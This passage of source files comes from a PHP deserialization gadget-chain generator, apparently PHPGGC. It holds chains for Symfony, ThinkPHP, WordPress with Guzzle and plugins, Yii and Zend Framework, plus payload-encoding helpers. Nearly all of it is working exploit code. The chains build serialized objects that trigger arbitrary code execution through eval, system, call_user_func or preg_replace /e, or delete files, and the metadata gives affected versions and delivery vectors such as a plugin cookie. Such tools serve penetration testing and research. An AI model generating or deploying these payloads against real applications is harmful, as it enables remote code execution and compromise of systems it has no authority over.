14 | class PhpEngine{ | |
15 | protected $parser; | |
16 | protected $cache; | |
17 | protected $current; | |
18 | protected $globals = array(); | |
19 | public function __construct($s){ | |
20 | $this->parser = new TemplateNameParser; | |
21 | $this->current = new TemplateReference; | |
22 | $this->cache = array(NULL=>$s); | |
23 | } | |
24 | } | |
25 | } | |
26 | ||
27 | namespace Symfony\Component\Finder\Expression{ | |
28 | class Expression{ | |
29 | private $value; | |
30 | public function __construct($p){ | |
31 | $this->value = $p; | |
32 | } | |
33 | } | |
34 | } | |
35 | ||
36 | namespace Symfony\Component\Process{ | |
37 | class ProcessPipes{ | |
38 | private $files = array(); | |
39 | public function __construct($e){ | |
40 | $this->files = array($e); | |
41 | } | |
42 | } | |
43 | } | |
44 | ||
45 | ?> |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Symfony; | |
3 | ||
4 | class RCE3 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '2.6 <= 2.8.32'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'crlf'; | |
9 | public static $informations = 'Executes through eval() ( <?php \'.$code.\';die(); ?> )'; | |
10 | public static $parameters = [ | |
11 | 'code' | |
12 | ]; | |
13 | ||
14 | public function generate(array $parameters) | |
15 | { | |
16 | $code = $parameters['code']; | |
17 | ||
18 | return new \Symfony\Component\Process\Pipes\WindowsPipes( | |
19 | new \Symfony\Component\Finder\Expression\Expression( | |
20 | new \Symfony\Component\Templating\PhpEngine( | |
21 | new \Symfony\Component\Templating\Storage\StringStorage( | |
22 | $code | |
23 | )))); | |
24 | } | |
25 | } |
0 | <?php | |
1 | ||
2 | namespace Symfony\Component\Templating\Storage{ | |
3 | class StringStorage{ | |
4 | protected $template = ''; | |
5 | public function __construct($code){ | |
6 | $this->template = '<?php '.$code.';die(); ?>'; | |
7 | } | |
8 | } | |
9 | } | |
10 | ||
11 | namespace Symfony\Component\Templating{ | |
12 | class TemplateNameParser{} | |
13 | class TemplateReference{} | |
14 | class PhpEngine{ | |
15 | protected $parser; | |
16 | protected $cache; | |
17 | protected $current; | |
18 | protected $globals = array(); | |
19 | public function __construct($s){ | |
20 | $this->parser = new TemplateNameParser; | |
21 | $this->current = new TemplateReference; | |
22 | $this->cache = array(NULL=>$s); | |
23 | } | |
24 | } | |
25 | } | |
26 | ||
27 | namespace Symfony\Component\Finder\Expression{ | |
28 | class Expression{ | |
29 | private $value; | |
30 | public function __construct($p){ | |
31 | $this->value = $p; | |
32 | } | |
33 | } | |
34 | } | |
35 | ||
36 | namespace Symfony\Component\Process\Pipes{ | |
37 | class WindowsPipes{ | |
38 | private $files = array(); | |
39 | public function __construct($e){ | |
40 | $this->files = array($e); | |
41 | } | |
42 | } | |
43 | } | |
44 | ||
45 | ?> |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Symfony; | |
3 | ||
4 | class RCE4 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '3.4.0-34, 4.2.0-11, 4.3.0-7'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'wisdomtree'; | |
9 | public static $informations = 'Execute $function with $parameter (CVE-2019-18889)'; | |
10 | public static $parameters = [ | |
11 | 'function', | |
12 | 'parameter' | |
13 | ]; | |
14 | ||
15 | public function generate(array $parameters) | |
16 | { | |
17 | $function = $parameters['function']; | |
18 | $parameter = $parameters['parameter']; | |
19 | ||
20 | return new \Symfony\Component\Cache\Adapter\TagAwareAdapter(array( | |
21 | new \Symfony\Component\Cache\CacheItem(1, $parameter)), | |
22 | new \Symfony\Component\Cache\Adapter\ProxyAdapter(1 , $function)); | |
23 | } | |
24 | } | |
25 | ||
26 | ?> |
0 | <?php | |
1 | ||
2 | namespace Symfony\Component\Cache { | |
3 | ||
4 | final class CacheItem | |
5 | { | |
6 | protected $poolHash ; | |
7 | protected $innerItem; | |
8 | public function __construct($poolHash, $parameter) | |
9 | { | |
10 | $this-> poolHash = $poolHash; | |
11 | $this-> innerItem = $parameter; | |
12 | } | |
13 | } | |
14 | } | |
15 | ||
16 | namespace Symfony\Component\Cache\Adapter { | |
17 | ||
18 | class ProxyAdapter | |
19 | { | |
20 | private $poolHash ; | |
21 | private $setInnerItem; | |
22 | public function __construct($poolHash, $function) | |
23 | { | |
24 | $this-> poolHash = $poolHash; | |
25 | $this-> setInnerItem = $function; | |
26 | } | |
27 | } | |
28 | ||
29 | class TagAwareAdapter | |
30 | { | |
31 | private $deferred = []; | |
32 | private $pool; | |
33 | public function __construct($deferred, $pool) | |
34 | { | |
35 | $this-> deferred = $deferred; | |
36 | $this-> pool = $pool; | |
37 | } | |
38 | } | |
39 | } | |
40 | ||
41 | ?> |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\ThinkPHP; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '5.1.x-5.2.x'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'Smi1e'; | |
9 | public static $informations = ' | |
10 | This chain can only execute system(). | |
11 | Because the second parameter is uncontrollable | |
12 | '; | |
13 | public function generate(array $parameters) | |
14 | { | |
15 | $function = $parameters['function']; | |
16 | $parameter = $parameters['parameter']; | |
17 | $Conver = new \think\model\Pivot($parameter); | |
18 | return new \think\process\pipes\Windows($Conver); | |
19 | } | |
20 | }⏎ |
0 | <?php | |
1 | namespace think\process\pipes { | |
2 | class Windows | |
3 | { | |
4 | private $files; | |
5 | public function __construct($files) | |
6 | { | |
7 | $this->files = array($files); | |
8 | } | |
9 | } | |
10 | } | |
11 | ||
12 | namespace think\model\concern { | |
13 | trait Conversion | |
14 | { | |
15 | protected $append = array("Smi1e" => "1"); | |
16 | } | |
17 | ||
18 | trait Attribute | |
19 | { | |
20 | private $data; | |
21 | private $withAttr = array("Smi1e" => "system"); | |
22 | ||
23 | public function get($system) | |
24 | { | |
25 | $this->data = array("Smi1e" => "$system"); | |
26 | } | |
27 | } | |
28 | } | |
29 | namespace think { | |
30 | abstract class Model | |
31 | { | |
32 | use model\concern\Attribute; | |
33 | use model\concern\Conversion; | |
34 | } | |
35 | } | |
36 | ||
37 | namespace think\model{ | |
38 | use think\Model; | |
39 | class Pivot extends Model | |
40 | { | |
41 | public function __construct($system) | |
42 | { | |
43 | $this->get($system); | |
44 | } | |
45 | } | |
46 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\WordPress\Guzzle; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '4.0.0 <= 6.4.1+'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'erwan_lr'; | |
9 | public static $informations = 'Tested up to WP 5.2.4 and Guzzle 6.4.1. Newest versions might also work.'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $parameter = $parameters['parameter']; | |
15 | ||
16 | return new \GuzzleHttp\Cookie\SetCookie( | |
17 | new \Requests_Utility_FilteredIterator(['Name' => $parameter, 'Value' => ''], $function) | |
18 | ); | |
19 | } | |
20 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace | |
3 | { | |
4 | require_once(DIR_GADGETCHAINS . '/WordPress/generic/gadgets.php'); | |
5 | } | |
6 | ||
7 | namespace GuzzleHttp\Cookie | |
8 | { | |
9 | class SetCookie | |
10 | { | |
11 | private $data; | |
12 | ||
13 | public function __construct($data) | |
14 | { | |
15 | $this->data = $data; | |
16 | } | |
17 | ||
18 | /* | |
19 | public function __toString() | |
20 | { | |
21 | $str = $this->data['Name'] . '=' . $this->data['Value'] . '; '; | |
22 | foreach ($this->data as $k => $v) { | |
23 | if ($k !== 'Name' && $k !== 'Value' && $v !== null && $v !== false) { | |
24 | if ($k === 'Expires') { | |
25 | $str .= 'Expires=' . gmdate('D, d M Y H:i:s \G\M\T', $v) . '; '; | |
26 | } else { | |
27 | $str .= ($v === true ? $k : "{$k}={$v}") . '; '; | |
28 | } | |
29 | } | |
30 | } | |
31 | return rtrim($str, '; '); | |
32 | } | |
33 | */ | |
34 | } | |
35 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\WordPress\Guzzle; | |
3 | ||
4 | class RCE2 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '4.0.0 <= 6.4.1+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'Kevinlpd'; | |
9 | public static $informations = 'Tested up to WP 5.2.4 and Guzzle 6.4.1. Newest versions might also work.'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $parameter = $parameters['parameter']; | |
15 | ||
16 | $g = new \GuzzleHttp\Cookie\SetCookie( | |
17 | new \Requests_Utility_FilteredIterator(['Name' => $parameter, 'Value' => ''], $function) | |
18 | ); | |
19 | ||
20 | return new \GuzzleHttp\Cookie\FileCookieJar($g); | |
21 | } | |
22 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace | |
3 | { | |
4 | require_once(DIR_GADGETCHAINS . '/WordPress/generic/gadgets.php'); | |
5 | } | |
6 | ||
7 | namespace GuzzleHttp\Cookie | |
8 | { | |
9 | class SetCookie | |
10 | { | |
11 | private $data; | |
12 | ||
13 | public function __construct($data) | |
14 | { | |
15 | $this->data = $data; | |
16 | } | |
17 | ||
18 | /* | |
19 | ||
20 | public function __toString() | |
21 | { | |
22 | $str = $this->data['Name'] . '=' . $this->data['Value'] . '; '; | |
23 | foreach ($this->data as $k => $v) { | |
24 | if ($k !== 'Name' && $k !== 'Value' && $v !== null && $v !== false) { | |
25 | if ($k === 'Expires') { | |
26 | $str .= 'Expires=' . gmdate('D, d M Y H:i:s \G\M\T', $v) . '; '; | |
27 | } else { | |
28 | $str .= ($v === true ? $k : "{$k}={$v}") . '; '; | |
29 | } | |
30 | } | |
31 | } | |
32 | return rtrim($str, '; '); | |
33 | } | |
34 | ||
35 | */ | |
36 | } | |
37 | class FileCookieJar | |
38 | { | |
39 | private $filename; | |
40 | ||
41 | public function __construct($cookieFile, $storeSessionCookies = \false) | |
42 | { | |
43 | $this->filename = $cookieFile; | |
44 | } | |
45 | ||
46 | /* | |
47 | ||
48 | public function __destruct() | |
49 | { | |
50 | $this->save($this->filename); | |
51 | } | |
52 | ||
53 | public function save($filename) | |
54 | { | |
55 | $json = []; | |
56 | foreach ($this as $cookie) { | |
57 | if (\GuzzleHttp\Cookie\CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { | |
58 | $json[] = $cookie->toArray(); | |
59 | } | |
60 | } | |
61 | $jsonStr = \GuzzleHttp\json_encode($json); | |
62 | if (\false === \file_put_contents($filename, $jsonStr)) { | |
63 | throw new \RuntimeException("Unable to save file {$filename}"); | |
64 | } | |
65 | } | |
66 | ||
67 | */ | |
68 | } | |
69 | ||
70 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\WordPress\P\WooCommerce; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '3.4.0 <= 3.6.2+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'erwan_lr'; | |
9 | public static $informations = ' | |
10 | Demonstrated at BSide Manchester: https://www.youtube.com/watch?v=GePBmsNJw6Y&t=1763 | |
11 | Tested up to WP 5.2 and WooCommerce 3.6.2 activated (but not configured). Newest versions might also work. | |
12 | '; | |
13 | ||
14 | public function generate(array $parameters) | |
15 | { | |
16 | $function = $parameters['function']; | |
17 | $parameter = $parameters['parameter']; | |
18 | ||
19 | return new \WC_Log_Handler_File(new \Requests_Utility_FilteredIterator([$parameter], $function)); | |
20 | } | |
21 | }⏎ |
0 | <?php | |
1 | ||
2 | require_once(DIR_GADGETCHAINS . '/WordPress/generic/gadgets.php'); | |
3 | ||
4 | // WooCommerce - https://plugins.trac.wordpress.org/browser/woocommerce/trunk/includes/log-handlers/class-wc-log-handler-file.php | |
5 | class WC_Log_Handler_File { | |
6 | protected $handles = array(); | |
7 | ||
8 | // Custom constructor to set the $handles more easily | |
9 | public function __construct($handles) { | |
10 | $this->handles = $handles; | |
11 | } | |
12 | ||
13 | /* | |
14 | public function __destruct() { | |
15 | foreach ( $this->handles as $handle ) { | |
16 | if ( is_resource( $handle ) ) { | |
17 | fclose( $handle ); // @codingStandardsIgnoreLine. | |
18 | } | |
19 | } | |
20 | } | |
21 | */ | |
22 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\WordPress\P\YetAnotherStarsRating; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '? <= 1.8.6'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'erwan_lr'; | |
9 | public static $informations = 'Paylaod has to be in the COOKIE yasr_visitor_vote_cookie in a page containing the shortcode of the plugin allowing visitor ratings'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $parameter = $parameters['parameter']; | |
15 | ||
16 | return new \Requests_Utility_FilteredIterator([$parameter], $function); | |
17 | } | |
18 | }⏎ |
0 | <?php | |
1 | ||
2 | require_once(DIR_GADGETCHAINS . '/WordPress/generic/gadgets.php'); | |
3 | ||
4 | // https://plugins.trac.wordpress.org/browser/yet-another-stars-rating/tags/1.8.6/lib/yasr-shortcode-functions.php#L169 | |
5 | /* | |
6 | function shortcode_visitor_votes_callback ($atts) { | |
7 | [SNIPPED] | |
8 | ||
9 | //name of cookie to check | |
10 | $yasr_cookiename = 'yasr_visitor_vote_cookie'; | |
11 | ||
12 | if (isset($_COOKIE[$yasr_cookiename])) { | |
13 | ||
14 | $cookie_data = stripslashes($_COOKIE[$yasr_cookiename]); | |
15 | $cookie_data = unserialize($cookie_data); | |
16 | ||
17 | foreach ($cookie_data as $value) { | |
18 | ||
19 | [SNIPPED] | |
20 | */⏎ |
0 | <?php | |
1 | ||
2 | /* | |
3 | Some notes about how WordPress processes stuff, hopeful saving you some sanity when trying Gadgets. | |
4 | ||
5 | In the Front-end, when WordPress is loaded, all $_GET and $_POST | |
6 | are passed through add_magic_quotes() [1] which will then call addslashes() [2]. So if the payload is retrieved from | |
7 | $_GET/$_POST/$_REQUEST/get_query_var while WordPress is loaded, it will be escaped, leading to an Offset error when unserialized. | |
8 | This should be a rare case, as it would mean that the code of the plugin/theme would not even work with legitimate and harmless serialized data. Workarounds seen done by plugin/theme creators to avoid that: base64_decode()/stripslashes()/wp_unslash() the query var/s. | |
9 | ||
10 | [1] https://github.com/WordPress/WordPress/blob/52354f3f0b7f2b6e53d6ca3578942d5940f84048/wp-includes/load.php#L917 | |
11 | [2] https://github.com/WordPress/WordPress/blob/643ec358a40faba739266f11c34990c142f02d98/wp-includes/functions.php#L1057 | |
12 | */ | |
13 | ||
14 | // WordPress - https://github.com/WordPress/WordPress/blob/6fd8080e7ee7599b36d4528f72a8ced612130b8c/wp-includes/Requests/Utility/FilteredIterator.php | |
15 | class Requests_Utility_FilteredIterator extends ArrayIterator { | |
16 | protected $callback; | |
17 | ||
18 | public function __construct($data, $callback) { | |
19 | parent::__construct($data); | |
20 | $this->callback = $callback; | |
21 | } | |
22 | ||
23 | /* | |
24 | public function current() { | |
25 | $value = parent::current(); | |
26 | $value = call_user_func($this->callback, $value); | |
27 | return $value; | |
28 | } | |
29 | */ | |
30 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Yii; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '1.1.20'; | |
7 | public static $vector = '__wakeup'; | |
8 | public static $author = 'cf'; | |
9 | public static $informations = ' | |
10 | As the payload uses file_get_contents("data://..."), allow_url_fopen | |
11 | must be ON. | |
12 | '; | |
13 | ||
14 | public function generate(array $parameters) | |
15 | { | |
16 | // When hitting the file cache, our data:// wrapper will be fetched, | |
17 | // and it will be unserialized with assert(). | |
18 | $function = $parameters['function']; | |
19 | $parameter = $parameters['parameter']; | |
20 | $parameter = '9999999999' . $parameter; | |
21 | $parameter = base64_encode($parameter); | |
22 | ||
23 | $a = new \CFileCache($function, $parameter); | |
24 | $b = new \CMapIterator($a); | |
25 | $c = new \CDbCriteria($b); | |
26 | ||
27 | return $c; | |
28 | } | |
29 | } |
0 | <?php | |
1 | ||
2 | class CMapIterator | |
3 | { | |
4 | private $_d; | |
5 | private $_keys = [0]; | |
6 | private $_key = 0; | |
7 | ||
8 | function __construct($_d) | |
9 | { | |
10 | $this->_d = $_d; | |
11 | } | |
12 | } | |
13 | ||
14 | class CDbCriteria | |
15 | { | |
16 | function __construct($params) | |
17 | { | |
18 | $this->params = $params; | |
19 | } | |
20 | } | |
21 | ||
22 | class CFileCache | |
23 | { | |
24 | public $keyPrefix = ''; | |
25 | public $hashKey = false; | |
26 | public $serializer; | |
27 | ||
28 | public $cachePath = 'data:text/'; | |
29 | public $directoryLevel = 0; | |
30 | public $embedExpiry = true; | |
31 | public $cacheFileSuffix; | |
32 | ||
33 | function __construct($function, $cacheFileSuffix) | |
34 | { | |
35 | $this->serializer = [1 => $function]; | |
36 | $this->cacheFileSuffix = ';base64,' . $cacheFileSuffix; | |
37 | } | |
38 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\ZendFramework; | |
3 | ||
4 | class FD1 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '? <= 1.12.20'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'mpchadwick'; | |
9 | public static $parameters = [ | |
10 | 'remote_file' | |
11 | ]; | |
12 | ||
13 | public function generate(array $parameters) | |
14 | { | |
15 | $file = $parameters['remote_file']; | |
16 | ||
17 | return new \Zend_Http_Response_Stream( | |
18 | true, | |
19 | $file | |
20 | ); | |
21 | } | |
22 | }⏎ |
0 | <?php | |
1 | ||
2 | class Zend_Http_Response_Stream | |
3 | { | |
4 | protected $_cleanup; | |
5 | protected $stream_name; | |
6 | ||
7 | public function __construct( | |
8 | $cleanup, | |
9 | $stream_name | |
10 | ) { | |
11 | $this->_cleanup = $cleanup; | |
12 | $this->stream_name = $stream_name; | |
13 | } | |
14 | ||
15 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\ZendFramework; | |
3 | ||
4 | // Original author: Stefan Esser (2010) | |
5 | // https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf | |
6 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
7 | { | |
8 | public static $version = '? <= 1.12.20'; | |
9 | public static $vector = '__destruct'; | |
10 | public static $author = 'mpchadwick'; # GC Implementation | |
11 | public static $informations = ' | |
12 | - Uses preg_replace e modifier which has no effect in PHP >= 7.0.0 | |
13 | - Payload gets executed twice | |
14 | '; | |
15 | public static $parameters = [ | |
16 | 'code' | |
17 | ]; | |
18 | ||
19 | public function generate(array $parameters) | |
20 | { | |
21 | $code = $parameters['code']; | |
22 | ||
23 | return new \Zend_Log( | |
24 | [new \Zend_Log_Writer_Mail( | |
25 | [1], | |
26 | [], | |
27 | new \Zend_Mail, | |
28 | new \Zend_Layout( | |
29 | new \Zend_Filter_PregReplace( | |
30 | "/(.*)/e", | |
31 | $code | |
32 | ), | |
33 | true, | |
34 | "layout" | |
35 | ) | |
36 | )] | |
37 | ); | |
38 | } | |
39 | } |
0 | <?php | |
1 | ||
2 | class Zend_Log | |
3 | { | |
4 | protected $_writers; | |
5 | ||
6 | function __construct($x) | |
7 | { | |
8 | $this->_writers = $x; | |
9 | } | |
10 | } | |
11 | ||
12 | class Zend_Log_Writer_Mail | |
13 | { | |
14 | protected $_eventsToMail; | |
15 | protected $_layoutEventsToMail; | |
16 | protected $_mail; | |
17 | protected $_layout; | |
18 | protected $_subjectPrependText; | |
19 | ||
20 | public function __construct( | |
21 | $eventsToMail, | |
22 | $layoutEventsToMail, | |
23 | $mail, | |
24 | $layout | |
25 | ) { | |
26 | $this->_eventsToMail = $eventsToMail; | |
27 | $this->_layoutEventsToMail = $layoutEventsToMail; | |
28 | $this->_mail = $mail; | |
29 | $this->_layout = $layout; | |
30 | $this->_subjectPrependText = null; | |
31 | } | |
32 | } | |
33 | ||
34 | class Zend_Mail | |
35 | {} | |
36 | ||
37 | class Zend_Layout | |
38 | { | |
39 | protected $_inflector; | |
40 | protected $_inflectorEnabled; | |
41 | protected $_layout; | |
42 | ||
43 | public function __construct( | |
44 | $inflector, | |
45 | $inflectorEnabled, | |
46 | $layout | |
47 | ) { | |
48 | $this->_inflector = $inflector; | |
49 | $this->_inflectorEnabled = $inflectorEnabled; | |
50 | $this->_layout = $layout; | |
51 | } | |
52 | } | |
53 | ||
54 | class Zend_Filter_PregReplace | |
55 | { | |
56 | protected $_matchPattern; | |
57 | protected $_replacement; | |
58 | ||
59 | public function __construct( | |
60 | $matchPattern, | |
61 | $replacement | |
62 | ) { | |
63 | $this->_matchPattern = $matchPattern; | |
64 | $this->_replacement = $replacement; | |
65 | } | |
66 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\ZendFramework; | |
3 | ||
4 | class RCE2 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '1.11.12 <= 1.12.20'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'cf'; | |
9 | public static $informations = ' | |
10 | Uses zf1/zend-form, which requires zf1/zend-cache. | |
11 | '; | |
12 | ||
13 | public function generate(array $parameters) | |
14 | { | |
15 | $a = new \Zend_Cache_Frontend_Function(); | |
16 | $b = new \Zend_Form_Decorator_Form(); | |
17 | $c = new \Zend_Form_Element( | |
18 | $parameters['function'], | |
19 | $parameters['parameter'], | |
20 | [$b], | |
21 | $a | |
22 | ); | |
23 | return $c; | |
24 | } | |
25 | }⏎ |
0 | <?php | |
1 | ||
2 | class Zend_Form_Element | |
3 | { | |
4 | protected $_name; | |
5 | protected $_decorators = array(); | |
6 | protected $_view; | |
7 | public $id; | |
8 | ||
9 | public $helper = 'formText'; | |
10 | protected $_allowEmpty = true; | |
11 | protected $_autoInsertNotEmptyValidator = true; | |
12 | protected $_belongsTo; | |
13 | protected $_description; | |
14 | protected $_disableLoadDefaultDecorators = false; | |
15 | protected $_errorMessages = array(); | |
16 | protected $_errors = array(); | |
17 | protected $_errorMessageSeparator = '; '; | |
18 | protected $_filters = array(); | |
19 | protected $_ignore = false; | |
20 | protected $_isArray = false; | |
21 | protected $_isError = false; | |
22 | protected $_isErrorForced = false; | |
23 | protected $_label; | |
24 | protected $_loaders = array(); | |
25 | protected $_messages = array(); | |
26 | protected $_order; | |
27 | protected $_required = false; | |
28 | protected $_translator; | |
29 | protected $_translatorDisabled = false; | |
30 | protected $_type; | |
31 | protected $_validators = array(); | |
32 | protected $_validatorRules = array(); | |
33 | protected $_value; | |
34 | protected $_isPartialRendering = false; | |
35 | protected $_concatJustValuesInErrorMessage = false; | |
36 | ||
37 | function __construct($_name, $id, $_decorators, $_view) | |
38 | { | |
39 | $this->_name = $_name; | |
40 | $this->id = $id; | |
41 | $this->_decorators = $_decorators; | |
42 | $this->_view = $_view; | |
43 | } | |
44 | } | |
45 | ||
46 | class Zend_Form_Decorator_Form extends Zend_Form_Decorator_Abstract | |
47 | { | |
48 | protected $_helper = 'call'; | |
49 | } | |
50 | ||
51 | abstract class Zend_Form_Decorator_Abstract | |
52 | { | |
53 | protected $_placement = 'APPEND'; | |
54 | protected $_element; | |
55 | protected $_options = array(); | |
56 | protected $_separator = PHP_EOL; | |
57 | } | |
58 | ||
59 | class Zend_Cache_Frontend_Function | |
60 | { | |
61 | protected $_specificOptions = array( | |
62 | 'cache_by_default' => false, | |
63 | 'cached_functions' => array(), | |
64 | 'non_cached_functions' => array() | |
65 | ); | |
66 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\ZendFramework; | |
3 | ||
4 | class RCE3 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '2.0.1 <= ?'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'eboda'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters["function"]; | |
13 | $parameter = $parameters["parameter"]; | |
14 | ||
15 | return new \Zend\Log\Logger($function, $parameter); | |
16 | } | |
17 | } |
0 | <?php | |
1 | namespace Zend\Log { | |
2 | class Logger { | |
3 | protected $writers; | |
4 | ||
5 | function __construct($function, $param) { | |
6 | $this->writers = array( | |
7 | new \Zend\Log\Writer\Mail($function, $param) | |
8 | ); | |
9 | } | |
10 | } | |
11 | } | |
12 | ||
13 | namespace Zend\Log\Writer { | |
14 | class Mail { | |
15 | protected $eventsToMail; | |
16 | protected $subjectPrependText; | |
17 | protected $numEntriesPerPriority; | |
18 | ||
19 | function __construct($function, $param) { | |
20 | $this->eventsToMail = array(0); | |
21 | $this->subjectPrependText = ""; | |
22 | $this->numEntriesPerPriority = array( | |
23 | 0 => new \Zend\Tag\Cloud($function, $param) | |
24 | ); | |
25 | } | |
26 | } | |
27 | } | |
28 | ||
29 | namespace Zend\Tag { | |
30 | class Cloud { | |
31 | protected $tags; | |
32 | protected $tagDecorator; | |
33 | ||
34 | function __construct($function, $param) { | |
35 | $this->tags = array(""); | |
36 | $this->tagDecorator = new \Zend\Tag\Cloud\Decorator\HtmlCloud($function, $param); | |
37 | } | |
38 | } | |
39 | } | |
40 | ||
41 | namespace Zend\Tag\Cloud\Decorator { | |
42 | class HtmlCloud { | |
43 | protected $separator; | |
44 | protected $escaper; | |
45 | protected $htmlTags; | |
46 | ||
47 | function __construct($function, $param) { | |
48 | $this->separator = ""; | |
49 | $this->htmlTags = array( | |
50 | "h" => array( | |
51 | "a" => "!" | |
52 | ) | |
53 | ); | |
54 | $this->escaper = new \Zend\Escaper\Escaper($function, $param); | |
55 | } | |
56 | } | |
57 | } | |
58 | ||
59 | namespace Zend\Escaper { | |
60 | class Escaper { | |
61 | protected $htmlAttrMatcher; | |
62 | ||
63 | function __construct($function, $param) { | |
64 | $this->htmlAttrMatcher = array( | |
65 | new \Zend\Filter\FilterChain($function, $param), | |
66 | "filter" | |
67 | ); | |
68 | } | |
69 | } | |
70 | } | |
71 | ||
72 | namespace Zend\Filter { | |
73 | class FilterChain { | |
74 | protected $filters; | |
75 | ||
76 | function __construct($function, $param) { | |
77 | $this->filters = new \SplFixedArray(2); | |
78 | $this->filters[0] = array( | |
79 | new \Zend\Json\Expr($param), | |
80 | "__toString" | |
81 | ); | |
82 | $this->filters[1] = $function; | |
83 | } | |
84 | } | |
85 | } | |
86 | ||
87 | namespace Zend\Json { | |
88 | class Expr { | |
89 | protected $expression; | |
90 | ||
91 | function __construct($param) { | |
92 | $this->expression = $param; | |
93 | } | |
94 | } | |
95 | } |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\Enhancement; | |
3 | ||
4 | /** | |
5 | * ASCII Strings | |
6 | * Uses the "S" serialization format instead of the standard "s". This | |
7 | * replaces every non-ASCII value to an hexadecimal representation: | |
8 | * s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\00B\09\0D"; | |
9 | * This is experimental and it might not work in some cases. | |
10 | */ | |
11 | class ASCIIStrings extends Enhancement | |
12 | { | |
13 | public function process_serialized($serialized) | |
14 | { | |
15 | $new = ''; | |
16 | $last = 0; | |
17 | $current = 0; | |
18 | $pattern = '#\bs:([0-9]+):"#'; | |
19 | ||
20 | while( | |
21 | $current < strlen($serialized) && | |
22 | preg_match( | |
23 | $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current | |
24 | ) | |
25 | ) | |
26 | { | |
27 | ||
28 | $p_start = $matches[0][1]; | |
29 | $p_start_string = $p_start + strlen($matches[0][0]); | |
30 | $length = $matches[1][0]; | |
31 | $p_end_string = $p_start_string + $length; | |
32 | ||
33 | # Check if this really is a serialized string | |
34 | if(!( | |
35 | strlen($serialized) > $p_end_string + 2 && | |
36 | substr($serialized, $p_end_string, 2) == '";' | |
37 | )) | |
38 | { | |
39 | $current = $p_start_string; | |
40 | continue; | |
41 | } | |
42 | $string = substr($serialized, $p_start_string, $length); | |
43 | ||
44 | # Convert every special character to its S representation | |
45 | $clean_string = ''; | |
46 | for($i=0; $i < strlen($string); $i++) | |
47 | { | |
48 | $letter = $string{$i}; | |
49 | $clean_string .= ctype_print($letter) && $letter != '\\' ? | |
50 | $letter : | |
51 | sprintf("\\%02x", ord($letter)); | |
52 | ; | |
53 | } | |
54 | ||
55 | # Make the replacement | |
56 | $new .= | |
57 | substr($serialized, $last, $p_start - $last) . | |
58 | 'S:' . $matches[1][0] . ':"' . $clean_string . '";' | |
59 | ; | |
60 | $last = $p_end_string + 2; | |
61 | $current = $last; | |
62 | } | |
63 | ||
64 | $new .= substr($serialized, $last); | |
65 | return $new; | |
66 | } | |
67 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\Enhancement; | |
3 | ||
4 | abstract class Enhancement | |
5 | { | |
6 | public function process_parameters($parameters) | |
7 | { | |
8 | return $parameters; | |
9 | } | |
10 | ||
11 | public function process_object($object) | |
12 | { | |
13 | return $object; | |
14 | } | |
15 | ||
16 | public function process_serialized($serialized) | |
17 | { | |
18 | return $serialized; | |
19 | } | |
20 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\Enhancement; | |
3 | ||
4 | class Enhancements | |
5 | { | |
6 | public function __construct($enhancements) | |
7 | { | |
8 | $this->enhancements = $enhancements; | |
9 | } | |
10 | ||
11 | /** | |
12 | * Calls method $method on every enhancement. | |
13 | */ | |
14 | public function __call($method, $arguments) | |
15 | { | |
16 | $argument = $arguments[0]; | |
17 | foreach($this->enhancements as $enhancement) | |
18 | { | |
